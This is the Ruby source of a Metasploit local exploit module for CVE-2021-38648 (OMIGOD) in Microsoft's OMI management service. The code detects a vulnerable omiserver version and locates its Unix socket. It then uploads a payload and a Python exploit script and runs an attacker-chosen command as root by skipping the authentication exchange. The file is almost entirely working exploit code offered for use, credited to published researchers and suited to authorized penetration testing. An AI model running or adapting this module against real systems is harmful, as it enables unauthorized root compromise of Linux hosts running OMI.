172 lines
6.0 KiB
Ruby
172 lines
6.0 KiB
Ruby
##
|
|
# This module requires Metasploit: https://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
class MetasploitModule < Msf::Exploit::Local
|
|
Rank = ExcellentRanking
|
|
|
|
prepend Msf::Exploit::Remote::AutoCheck
|
|
include Msf::Post::File
|
|
include Msf::Post::Process
|
|
include Msf::Exploit::EXE
|
|
include Msf::Exploit::FileDropper
|
|
|
|
DEFAULT_SERVER_BIN_PATH = '/opt/omi/bin/omiserver'.freeze
|
|
DEFAULT_SOCKET_PATH = '/var/opt/omi/run/omiserver.sock'.freeze
|
|
|
|
def initialize(info = {})
|
|
super(
|
|
update_info(
|
|
info,
|
|
'Name' => 'Microsoft OMI Management Interface Authentication Bypass',
|
|
'Description' => %q{
|
|
By removing the authentication exchange, an attacker can issue requests to the local OMI management socket
|
|
that will cause it to execute an operating system command as the root user. This vulnerability was patched in
|
|
OMI version 1.6.8-1 (released September 8th 2021).
|
|
},
|
|
'References' => [
|
|
['CVE', '2021-38648'],
|
|
['URL', 'https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-38648'],
|
|
['URL', 'https://www.wiz.io/blog/omigod-critical-vulnerabilities-in-omi-azure'],
|
|
['URL', 'https://attackerkb.com/topics/08O94gYdF1/cve-2021-38647']
|
|
],
|
|
'Author' => [
|
|
'Nir Ohfeld', # vulnerability discovery & research
|
|
'Shir Tamari', # vulnerability discovery & research
|
|
'Spencer McIntyre' # metasploit module
|
|
],
|
|
'DisclosureDate' => '2021-09-14',
|
|
'License' => MSF_LICENSE,
|
|
'Platform' => ['linux', 'unix'],
|
|
'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64],
|
|
'SessionTypes' => ['shell', 'meterpreter'],
|
|
'Targets' => [
|
|
[
|
|
'Unix Command',
|
|
{
|
|
'Platform' => 'unix',
|
|
'Arch' => ARCH_CMD,
|
|
'Type' => :unix_cmd,
|
|
'Payload' => { 'DisableNops' => true, 'Space' => 256 }
|
|
}
|
|
],
|
|
[
|
|
'Linux Dropper',
|
|
{
|
|
'Platform' => 'linux',
|
|
'Arch' => [ARCH_X86, ARCH_X64],
|
|
'Type' => :linux_dropper
|
|
}
|
|
]
|
|
],
|
|
'DefaultTarget' => 1,
|
|
'DefaultOptions' => {
|
|
'MeterpreterTryToFork' => true
|
|
},
|
|
'Notes' => {
|
|
'AKA' => ['OMIGOD'],
|
|
'Stability' => [CRASH_SAFE],
|
|
'Reliability' => [REPEATABLE_SESSION],
|
|
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
|
|
}
|
|
)
|
|
)
|
|
|
|
register_advanced_options([
|
|
OptString.new('WritableDir', [ true, 'A directory where you can write files.', '/tmp' ]),
|
|
OptString.new('SocketPath', [ false, 'The path to the OMI server socket.', '' ])
|
|
])
|
|
end
|
|
|
|
def check
|
|
pid = pidof('omiserver').first
|
|
return CheckCode::Safe('The omiserver process was not found.') if pid.nil?
|
|
|
|
omiserver_bin = read_file("/proc/#{pid}/cmdline").split("\x00", 2).first
|
|
omiserver_bin = DEFAULT_SERVER_BIN_PATH if omiserver_bin.blank? && file?(DEFAULT_SERVER_BIN_PATH)
|
|
return CheckCode::Unknown('Failed to find the omiserver binary path.') if omiserver_bin.blank?
|
|
|
|
vprint_status("Found #{omiserver_bin} running in PID: #{pid}")
|
|
if cmd_exec("#{omiserver_bin} --version") =~ /\sOMI-(\d+(\.\d+){2,3}(-\d+)?)\s/
|
|
version = Regexp.last_match(1)
|
|
else
|
|
return CheckCode::Unknown('Failed to identify the version of the omiserver binary.')
|
|
end
|
|
|
|
return CheckCode::Safe("Version #{version} is not affected.") if Rex::Version.new(version) > Rex::Version.new('1.6.8-0')
|
|
|
|
CheckCode::Appears("Version #{version} is affected.")
|
|
end
|
|
|
|
def upload(path, data)
|
|
print_status "Writing '#{path}' (#{data.size} bytes) ..."
|
|
write_file path, data
|
|
ensure
|
|
register_file_for_cleanup(path)
|
|
end
|
|
|
|
def find_exec_program
|
|
%w[python python3 python2].select(&method(:command_exists?)).first
|
|
end
|
|
|
|
def get_socket_path
|
|
socket_path = datastore['SocketPath']
|
|
return socket_path unless socket_path.blank?
|
|
|
|
pid = pidof('omiserver').first
|
|
fail_with(Failure::NotFound, 'The omiserver pid was not found.') if pid.nil?
|
|
|
|
if read_file("/proc/#{pid}/net/unix") =~ %r{\s(/(\S+)server\.sock)$}
|
|
socket_path = Regexp.last_match(1)
|
|
else
|
|
begin
|
|
socket_path = DEFAULT_SOCKET_PATH if stat(DEFAULT_SOCKET_PATH).socket?
|
|
rescue StandardError # rubocop:disable Lint/SuppressedException
|
|
end
|
|
end
|
|
|
|
fail_with(Failure::NotFound, 'The socket path could not be found.') if socket_path.blank?
|
|
|
|
vprint_status("Socket path: #{socket_path}")
|
|
socket_path
|
|
end
|
|
|
|
def exploit
|
|
python_binary = find_exec_program
|
|
fail_with(Failure::NotFound, 'The python binary was not found.') unless python_binary
|
|
|
|
vprint_status("Using '#{python_binary}' to run the exploit")
|
|
socket_path = get_socket_path
|
|
path = datastore['WritableDir']
|
|
python_script = rand_text_alphanumeric(5..10) + '.py'
|
|
|
|
case target['Type']
|
|
when :unix_cmd
|
|
root_cmd = payload.encoded
|
|
when :linux_dropper
|
|
unless path.start_with?('/')
|
|
# the command will be executed from a different working directory so use an absolute path
|
|
fail_with(Failure::BadConfig, 'The payload path must be an absolute path.')
|
|
end
|
|
|
|
payload_path = "#{path}/#{rand_text_alphanumeric(5..10)}"
|
|
if payload_path.length > 256
|
|
# the Python exploit uses a hard-coded exchange that only allows up to 256 characters to be included in the
|
|
# command that is executed
|
|
fail_with(Failure::BadConfig, 'The payload path is too long (>256 characters).')
|
|
end
|
|
|
|
upload(payload_path, generate_payload_exe)
|
|
cmd_exec("chmod +x '#{payload_path}'")
|
|
root_cmd = payload_path
|
|
end
|
|
|
|
upload("#{path}/#{python_script}", exploit_data('CVE-2021-38648', 'cve_2021_38648.py'))
|
|
cmd = "#{python_binary} #{path}/#{python_script} -s '#{socket_path}' '#{root_cmd}'"
|
|
vprint_status("Running #{cmd}")
|
|
output = cmd_exec(cmd)
|
|
vprint_line(output) unless output.blank?
|
|
end
|
|
end
|